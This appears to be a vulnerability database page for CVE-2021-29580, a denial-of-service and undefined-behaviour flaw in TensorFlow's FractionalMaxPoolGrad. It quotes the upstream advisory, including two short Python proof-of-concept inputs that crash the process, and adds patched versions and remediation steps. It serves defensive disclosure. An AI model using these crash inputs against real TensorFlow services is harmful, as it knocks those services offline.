CVE-2021-29580 is a medium-severity (CVSS 5.5) CWE-908 vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.
Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-29580 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The implementation of tf.raw_ops.FractionalMaxPoolGrad triggers an undefined behavior if one of the input tensors is empty:
import tensorflow as tf
orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
The code is also vulnerable to a denial of service attack as a CHECK condition becomes false and aborts the process
import tensorflow as tf
orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.
Patches
We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.1.4pip install --upgrade 'tensorflow==2.1.4' |
| 🐍PyPI | tensorflow | ≥ 2.2.0&&< 2.2.3 | 2.2.3pip install --upgrade 'tensorflow==2.2.3' |
| 🐍PyPI | tensorflow | ≥ 2.3.0&&< 2.3.3 | 2.3.3pip install --upgrade 'tensorflow==2.3.3' |
| 🐍PyPI | tensorflow | ≥ 2.4.0&&< 2.4.2 | 2.4.2pip install --upgrade 'tensorflow==2.4.2' |
| 🐍PyPI | tensorflow-cpu | all versions | 2.1.4pip install --upgrade 'tensorflow-cpu==2.1.4' |
| 🐍PyPI | tensorflow-cpu | ≥ 2.2.0&&< 2.2.3 | 2.2.3pip install --upgrade 'tensorflow-cpu==2.2.3' |
Affected Products
tensorflowgoogleResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-29580 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2021-29580 in your dependencies?
Find it across PyPI, including transitive dependencies.